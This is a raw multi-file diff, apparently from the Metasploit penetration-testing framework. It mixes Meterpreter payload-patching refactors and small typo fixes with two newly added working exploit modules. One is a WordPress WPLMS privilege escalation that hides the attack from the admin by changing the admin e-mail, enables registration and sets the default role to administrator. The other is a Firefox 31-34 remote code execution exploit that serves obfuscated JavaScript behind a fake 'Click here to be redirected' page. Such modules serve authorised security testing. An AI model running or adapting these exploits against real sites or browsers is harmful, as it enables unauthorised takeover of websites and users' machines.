#try to inject code into executable by adding a section without affecting executable behavior
|
|
||||||
|
# Try to inject code into executable by adding a section without affecting executable behavior
|
||||||
if opts[:inject]
|
if opts[:inject]
|
||||||
injector = Msf::Exe::SegmentInjector.new({
|
injector = Msf::Exe::SegmentInjector.new({
|
||||||
:payload => code,
|
:payload => code,
|
||||||
|
@ -515,8 +520,20 @@ require 'msf/core/exe/segment_injector'
|
||||||
})
|
})
|
||||||
return injector.generate_pe
|
return injector.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
opts[:exe_type] = :exe_sub
|
opts[:exe_type] = :exe_sub
|
||||||
exe_sub_method(code,opts)
|
return exe_sub_method(code,opts)
|
||||||
|
|
||||||
|
#
|
||||||
|
# TODO: 64-bit support is currently failing to stage
|
||||||
|
#
|
||||||
|
# Append a new section instead
|
||||||
|
# appender = Msf::Exe::SegmentAppender.new({
|
||||||
|
# :payload => code,
|
||||||
|
# :template => opts[:template],
|
||||||
|
# :arch => :x64
|
||||||
|
# })
|
||||||
|
# return appender.generate_pe
|
||||||
end
|
end
|
||||||
|
|
||||||
# Embeds shellcode within a Windows PE file implementing the Windows
|
# Embeds shellcode within a Windows PE file implementing the Windows
|
||||||
|
|
|
@ -56,6 +56,36 @@ class X509Certificate
|
||||||
parse_pem(data)
|
parse_pem(data)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Parse a certificate in unified PEM format and retrieve
|
||||||
|
# the SHA1 hash.
|
||||||
|
#
|
||||||
|
# @param [String] ssl_cert
|
||||||
|
# @return [String]
|
||||||
|
def self.get_cert_hash(ssl_cert)
|
||||||
|
hcert = parse_pem(ssl_cert)
|
||||||
|
|
||||||
|
unless hcert and hcert[0] and hcert[1]
|
||||||
|
raise ArgumentError, "Could not parse a private key and certificate"
|
||||||
|
end
|
||||||
|
|
||||||
|
Rex::Text.sha1_raw(hcert[1].to_der)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Parse a file that contains a certificate in unified PEM
|
||||||
|
# format and retrieve the SHA1 hash.
|
||||||
|
#
|
||||||
|
# @param [String] ssl_cert_file
|
||||||
|
# @return [String]
|
||||||
|
def self.get_cert_file_hash(ssl_cert_file)
|
||||||
|
data = ''
|
||||||
|
::File.open(ssl_cert_file, 'rb') do |fd|
|
||||||
|
data << fd.read(fd.stat.size)
|
||||||
|
end
|
||||||
|
get_cert_hash(data)
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -11,29 +11,23 @@ module Rex
|
||||||
module Patch
|
module Patch
|
||||||
|
|
||||||
# Replace the transport string
|
# Replace the transport string
|
||||||
def self.patch_transport! blob, ssl
|
def self.patch_transport!(blob, ssl)
|
||||||
|
|
||||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
|
||||||
if i
|
|
||||||
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
str = ssl ? "METERPRETER_TRANSPORT_HTTPS\x00" : "METERPRETER_TRANSPORT_HTTP\x00"
|
||||||
blob[i, str.length] = str
|
patch_string!(blob, "METERPRETER_TRANSPORT_SSL", str)
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replace the URL
|
# Replace the URL
|
||||||
def self.patch_url! blob, url
|
def self.patch_url!(blob, url)
|
||||||
|
unless patch_string!(blob, "https://#{'X' * 512}", url)
|
||||||
i = blob.index("https://" + ("X" * 256))
|
# If the patching failed this could mean that we are somehow
|
||||||
if i
|
# working with outdated binaries, so try to patch with the
|
||||||
str = url
|
# old stuff.
|
||||||
blob[i, str.length] = str
|
patch_string!(blob, "https://#{'X' * 256}", url)
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replace the session expiration timeout
|
# Replace the session expiration timeout
|
||||||
def self.patch_expiration! blob, expiration
|
def self.patch_expiration!(blob, expiration)
|
||||||
|
|
||||||
i = blob.index([0xb64be661].pack("V"))
|
i = blob.index([0xb64be661].pack("V"))
|
||||||
if i
|
if i
|
||||||
|
@ -44,7 +38,7 @@ module Rex
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replace the session communication timeout
|
# Replace the session communication timeout
|
||||||
def self.patch_comm_timeout! blob, comm_timeout
|
def self.patch_comm_timeout!(blob, comm_timeout)
|
||||||
|
|
||||||
i = blob.index([0xaf79257f].pack("V"))
|
i = blob.index([0xaf79257f].pack("V"))
|
||||||
if i
|
if i
|
||||||
|
@ -55,23 +49,14 @@ module Rex
|
||||||
end
|
end
|
||||||
|
|
||||||
# Replace the user agent string with our option
|
# Replace the user agent string with our option
|
||||||
def self.patch_ua! blob, ua
|
def self.patch_ua!(blob, ua)
|
||||||
|
patch_string!(blob, "METERPRETER_UA\x00", ua[0,255] + "\x00")
|
||||||
ua = ua[0,255] + "\x00"
|
|
||||||
i = blob.index("METERPRETER_UA\x00")
|
|
||||||
if i
|
|
||||||
blob[i, ua.length] = ua
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Activate a custom proxy
|
# Activate a custom proxy
|
||||||
def self.patch_proxy! blob, proxyhost, proxyport, proxy_type
|
def self.patch_proxy!(blob, proxyhost, proxyport, proxy_type)
|
||||||
|
|
||||||
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
if proxyhost && proxyhost.to_s != ""
|
||||||
if i
|
|
||||||
if proxyhost
|
|
||||||
if proxyhost.to_s != ""
|
|
||||||
proxyhost = proxyhost.to_s
|
proxyhost = proxyhost.to_s
|
||||||
proxyport = proxyport.to_s || "8080"
|
proxyport = proxyport.to_s || "8080"
|
||||||
proxyinfo = proxyhost + ":" + proxyport
|
proxyinfo = proxyhost + ":" + proxyport
|
||||||
|
@ -84,39 +69,47 @@ module Rex
|
||||||
proxyinfo = 'socks=' + proxyinfo
|
proxyinfo = 'socks=' + proxyinfo
|
||||||
end
|
end
|
||||||
proxyinfo << "\x00"
|
proxyinfo << "\x00"
|
||||||
blob[i, proxyinfo.length] = proxyinfo
|
patch_string!(blob, "METERPRETER_PROXY#{"\x00" * 10}", proxyinfo)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
# Proxy authentification
|
# Proxy authentification
|
||||||
def self.patch_proxy_auth! blob, proxy_username, proxy_password, proxy_type
|
def self.patch_proxy_auth!(blob, proxy_username, proxy_password, proxy_type)
|
||||||
|
|
||||||
unless (proxy_username.nil? or proxy_username.empty?) or
|
unless (proxy_username.nil? or proxy_username.empty?) or
|
||||||
(proxy_password.nil? or proxy_password.empty?) or
|
(proxy_password.nil? or proxy_password.empty?) or
|
||||||
proxy_type == 'SOCKS'
|
proxy_type == 'SOCKS'
|
||||||
|
|
||||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
patch_string!(blob, "METERPRETER_USERNAME_PROXY#{"\x00" * 10}",
|
||||||
proxy_username = proxy_username << "\x00"
|
proxy_username + "\x00")
|
||||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
|
||||||
|
|
||||||
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
patch_string!(blob, "METERPRETER_PASSWORD_PROXY#{"\x00" * 10}",
|
||||||
proxy_password = proxy_password << "\x00"
|
proxy_password + "\x00")
|
||||||
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Patch the ssl cert hash
|
||||||
|
def self.patch_ssl_check!(blob, ssl_cert_hash)
|
||||||
|
# SSL cert location is an ASCII string, so no need for
|
||||||
|
# WCHAR support
|
||||||
|
if ssl_cert_hash
|
||||||
|
i = blob.index("METERPRETER_SSL_CERT_HASH\x00")
|
||||||
|
if i
|
||||||
|
blob[i, ssl_cert_hash.length] = ssl_cert_hash
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
# Patch options into metsrv for reverse HTTP payloads
|
# Patch options into metsrv for reverse HTTP payloads
|
||||||
def self.patch_passive_service! blob, options
|
def self.patch_passive_service!(blob, options)
|
||||||
|
|
||||||
patch_transport! blob, options[:ssl]
|
patch_transport!(blob, options[:ssl])
|
||||||
patch_url! blob, options[:url]
|
patch_url!(blob, options[:url])
|
||||||
patch_expiration! blob, options[:expiration]
|
patch_expiration!(blob, options[:expiration])
|
||||||
patch_comm_timeout! blob, options[:comm_timeout]
|
patch_comm_timeout!(blob, options[:comm_timeout])
|
||||||
patch_ua! blob, options[:ua]
|
patch_ua!(blob, options[:ua])
|
||||||
|
patch_ssl_check!(blob, options[:ssl_cert_hash])
|
||||||
patch_proxy!(blob,
|
patch_proxy!(blob,
|
||||||
options[:proxy_host],
|
options[:proxy_host],
|
||||||
options[:proxy_port],
|
options[:proxy_port],
|
||||||
|
@ -130,6 +123,36 @@ module Rex
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Patch an ASCII value in the given payload. If not found, try WCHAR instead.
|
||||||
|
#
|
||||||
|
def self.patch_string!(blob, search, replacement)
|
||||||
|
result = false
|
||||||
|
|
||||||
|
i = blob.index(search)
|
||||||
|
if i
|
||||||
|
blob[i, replacement.length] = replacement
|
||||||
|
result = true
|
||||||
|
else
|
||||||
|
i = blob.index(wchar(search))
|
||||||
|
if i
|
||||||
|
r = wchar(replacement)
|
||||||
|
blob[i, r.length] = r
|
||||||
|
result = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
result
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
#
|
||||||
|
# Convert the given ASCII string into a WCHAR string (dumb, but works)
|
||||||
|
#
|
||||||
|
def self.wchar(str)
|
||||||
|
str.to_s.unpack("C*").pack("v*")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -48,7 +48,14 @@ class ClientCore < Extension
|
||||||
request = Packet.create_request('core_enumextcmd')
|
request = Packet.create_request('core_enumextcmd')
|
||||||
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
request.add_tlv(TLV_TYPE_STRING, extension_name)
|
||||||
|
|
||||||
|
begin
|
||||||
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
|
||||||
|
rescue
|
||||||
|
# In the case where orphaned shells call back with OLD copies of the meterpreter
|
||||||
|
# binaries, we end up with a case where this fails. So here we just return the
|
||||||
|
# empty list of supported commands.
|
||||||
|
return []
|
||||||
|
end
|
||||||
|
|
||||||
# No response?
|
# No response?
|
||||||
if response.nil?
|
if response.nil?
|
||||||
|
|
|
@ -178,7 +178,6 @@ module PacketDispatcher
|
||||||
# Sends a packet and waits for a timeout for the given time interval.
|
# Sends a packet and waits for a timeout for the given time interval.
|
||||||
#
|
#
|
||||||
def send_request(packet, t = self.response_timeout)
|
def send_request(packet, t = self.response_timeout)
|
||||||
|
|
||||||
if not t
|
if not t
|
||||||
send_packet(packet)
|
send_packet(packet)
|
||||||
return nil
|
return nil
|
||||||
|
|
|
@ -64,7 +64,7 @@ Gem::Specification.new do |spec|
|
||||||
# are needed when there's no database
|
# are needed when there's no database
|
||||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
||||||
# Needed for Meterpreter on Windows, soon others.
|
# Needed for Meterpreter on Windows, soon others.
|
||||||
spec.add_runtime_dependency 'meterpreter_bins', '0.0.16'
|
spec.add_runtime_dependency 'meterpreter_bins', '0.0.17'
|
||||||
# Needed by msfgui and other rpc components
|
# Needed by msfgui and other rpc components
|
||||||
spec.add_runtime_dependency 'msgpack'
|
spec.add_runtime_dependency 'msgpack'
|
||||||
# Needed by anemone crawler
|
# Needed by anemone crawler
|
||||||
|
|
|
@ -29,6 +29,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
['CVE', '2015-2673'],
|
||||||
['WPVDB', '7808'],
|
['WPVDB', '7808'],
|
||||||
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
['URL', 'http://blog.rastating.com/wp-easycart-privilege-escalation-information-disclosure']
|
||||||
],
|
],
|
||||||
|
|
|
@ -0,0 +1,124 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
|
||||||
|
'Description' => %q{
|
||||||
|
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows authenticated users of
|
||||||
|
any user level to set any system option via a lack of validation in the import_data function
|
||||||
|
of /includes/func.php.
|
||||||
|
|
||||||
|
The module first changes the admin e-mail address to prevent any
|
||||||
|
notifications being sent to the actual administrator during the attack, re-enables user
|
||||||
|
registration in case it has been disabled and sets the default role to be administrator.
|
||||||
|
This will allow for the user to create a new account with admin privileges via the default
|
||||||
|
registration page found at /wp-login.php?action=register.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Evex', # Vulnerability discovery
|
||||||
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['WPVDB', '7785']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 09 2015'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
|
||||||
|
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
|
||||||
|
end
|
||||||
|
|
||||||
|
def username
|
||||||
|
datastore['USERNAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
def password
|
||||||
|
datastore['PASSWORD']
|
||||||
|
end
|
||||||
|
|
||||||
|
def php_serialize(value)
|
||||||
|
# Only strings and numbers are required by this module
|
||||||
|
case value
|
||||||
|
when String, Symbol
|
||||||
|
"s:#{value.bytesize}:\"#{value}\";"
|
||||||
|
when Fixnum
|
||||||
|
"i:#{value};"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def serialize_and_encode(value)
|
||||||
|
serialized_value = php_serialize(value)
|
||||||
|
unless serialized_value.nil?
|
||||||
|
Rex::Text.encode_base64(serialized_value)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_wp_option(name, value, cookie)
|
||||||
|
encoded_value = serialize_and_encode(value)
|
||||||
|
if encoded_value.nil?
|
||||||
|
vprint_error("#{peer} - Failed to serialize #{value}.")
|
||||||
|
else
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => wordpress_url_admin_ajax,
|
||||||
|
'vars_get' => { 'action' => 'import_data' },
|
||||||
|
'vars_post' => { 'name' => name, 'code' => encoded_value },
|
||||||
|
'cookie' => cookie
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
vprint_error("#{peer} - No response from the target.")
|
||||||
|
else
|
||||||
|
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
|
||||||
|
end
|
||||||
|
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||||
|
cookie = wordpress_login(username, password)
|
||||||
|
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||||
|
print_good("#{peer} - Authenticated with WordPress")
|
||||||
|
|
||||||
|
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
|
||||||
|
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
|
||||||
|
if set_wp_option('admin_email', new_email, cookie).nil?
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Enabling user registrations...")
|
||||||
|
if set_wp_option('users_can_register', 1, cookie).nil?
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Setting the default user role...")
|
||||||
|
if set_wp_option('default_role', 'administrator', cookie).nil?
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
|
||||||
|
end
|
||||||
|
|
||||||
|
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
|
||||||
|
print_good("#{peer} - Privilege escalation complete")
|
||||||
|
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
|
||||||
|
end
|
||||||
|
end
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Symantec Web Gateway Login Utility',
|
'Name' => 'Symantec Web Gateway Login Utility',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module will attempt to authenticate to a Symantec Web Gateway
|
This module will attempt to authenticate to a Symantec Web Gateway.
|
||||||
},
|
},
|
||||||
'Author' => [ 'sinn3r' ],
|
'Author' => [ 'sinn3r' ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
|
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module checks if your Samba target is vulnerable to an uninitialized variable creds.
|
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
|
Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
|
||||||
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
|
of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
|
||||||
remote unauthenticated attackers to execute arbitrary code. This module was tested in
|
remote unauthenticated attackers to execute arbitrary code. This module was tested in
|
||||||
an emulated environment, using the version 1.10.16.m of the firmwarey.
|
an emulated environment, using the version 1.10.16.m of the firmware.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -13,14 +13,11 @@ class Metasploit4 < Msf::Exploit::Remote
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
|
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
|
||||||
'Description' => %q(
|
'Description' => %q{
|
||||||
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
|
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
|
||||||
buffer overflow in the GNU C Library's gethostbyname functions) on x86
|
buffer overflow in the GNU C Library's gethostbyname functions on x86
|
||||||
and x86_64 GNU/Linux systems that run the Exim mail server.
|
and x86_64 GNU/Linux systems that run the Exim mail server.
|
||||||
|
},
|
||||||
For additional information, please refer to the module's References
|
|
||||||
section.
|
|
||||||
),
|
|
||||||
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
|
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
|
||||||
'License' => BSD_LICENSE,
|
'License' => BSD_LICENSE,
|
||||||
'References' => [
|
'References' => [
|
||||||
|
|
|
@ -0,0 +1,115 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex/exploitation/jsobfu'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::BrowserExploitServer
|
||||||
|
include Msf::Exploit::Remote::BrowserAutopwn
|
||||||
|
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
|
||||||
|
component and gaining a reference to the privileged chrome:// window. This exploit
|
||||||
|
requires the user to click anywhere on the page to trigger the vulnerability.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'joev' # discovery and metasploit module
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "Jan 20 2014",
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2014-8636'],
|
||||||
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
|
||||||
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
|
||||||
|
|
||||||
|
],
|
||||||
|
'Targets' => [
|
||||||
|
[
|
||||||
|
'Universal (Javascript XPCOM Shell)', {
|
||||||
|
'Platform' => 'firefox',
|
||||||
|
'Arch' => ARCH_FIREFOX
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Native Payload', {
|
||||||
|
'Platform' => %w{ java linux osx solaris win },
|
||||||
|
'Arch' => ARCH_ALL
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'BrowserRequirements' => {
|
||||||
|
:source => 'script',
|
||||||
|
:ua_name => HttpClients::FF,
|
||||||
|
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
|
||||||
|
}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_exploit(cli, request, target_info)
|
||||||
|
send_response_html(cli, generate_html(target_info))
|
||||||
|
end
|
||||||
|
|
||||||
|
def default_html
|
||||||
|
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_html(target_info)
|
||||||
|
key = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
frame = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
r = Rex::Text.rand_text_alpha(5 + rand(12))
|
||||||
|
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
|
||||||
|
|
||||||
|
js = js_obfuscate %Q|
|
||||||
|
var opts = #{JSON.unparse(opts)};
|
||||||
|
var key = opts['#{key}'];
|
||||||
|
var props = {};
|
||||||
|
props.has = function(n){
|
||||||
|
if (!window.top.x && n=='nodeType') {
|
||||||
|
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
|
||||||
|
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
|
||||||
|
if (window.top.x) {
|
||||||
|
Object.setPrototypeOf(document, pro);
|
||||||
|
setTimeout(function(){
|
||||||
|
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
|
||||||
|
|
||||||
|
setTimeout(function(){
|
||||||
|
x.messageManager.loadFrameScript('data:,'+key, false);
|
||||||
|
setTimeout(function(){
|
||||||
|
x.close();
|
||||||
|
}, 100)
|
||||||
|
}, 100)
|
||||||
|
}, 100);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
var pro = Object.getPrototypeOf(document);
|
||||||
|
Object.setPrototypeOf(document, Proxy.create(props));
|
||||||
|
|
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<script>
|
||||||
|
#{js}
|
||||||
|
</script>
|
||||||
|
#{datastore['CONTENT'] || default_html}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
send_header
|
send_header
|
||||||
ack = recv_protocol_ack
|
ack = recv_protocol_ack
|
||||||
if ack.nil?
|
if ack.nil?
|
||||||
fail_with(Failure::NoTarget, "#{peer} - Filed to negotiate RMI protocol")
|
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
|
||||||
end
|
end
|
||||||
|
|
||||||
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
jar = rand_text_alpha(rand(8)+1) + '.jar'
|
||||||
|
|
|
@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
|
TWiki 4.0.x-6.0.0 contains a vulnerability in the Debug functionality.
|
||||||
The value of the debugenableplugins parameter is used without proper sanitization
|
The value of the debugenableplugins parameter is used without proper sanitization
|
||||||
in an Perl eval statement which allows remote code execution
|
in an Perl eval statement which allows remote code execution.
|
||||||
},
|
},
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::HTTP::Wordpress
|
include Msf::HTTP::Wordpress
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_foxypress_upload')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(
|
super(update_info(
|
||||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::HTTP::Wordpress
|
include Msf::HTTP::Wordpress
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_infusionsoft_upload')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
|
|
@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::Remote::Tcp
|
include Msf::Exploit::Remote::Tcp
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_lastpost_exec')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
|
|
@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
include Msf::HTTP::Wordpress
|
include Msf::HTTP::Wordpress
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_optimizepress_upload')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
|
|
@ -6,6 +6,9 @@
|
||||||
class Metasploit3 < Msf::Exploit::Remote
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
include Msf::HTTP::Wordpress
|
include Msf::HTTP::Wordpress
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2015, 5, 23), 'exploit/unix/webapp/wp_total_cache_exec')
|
||||||
|
|
||||||
Rank = ExcellentRanking
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,85 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
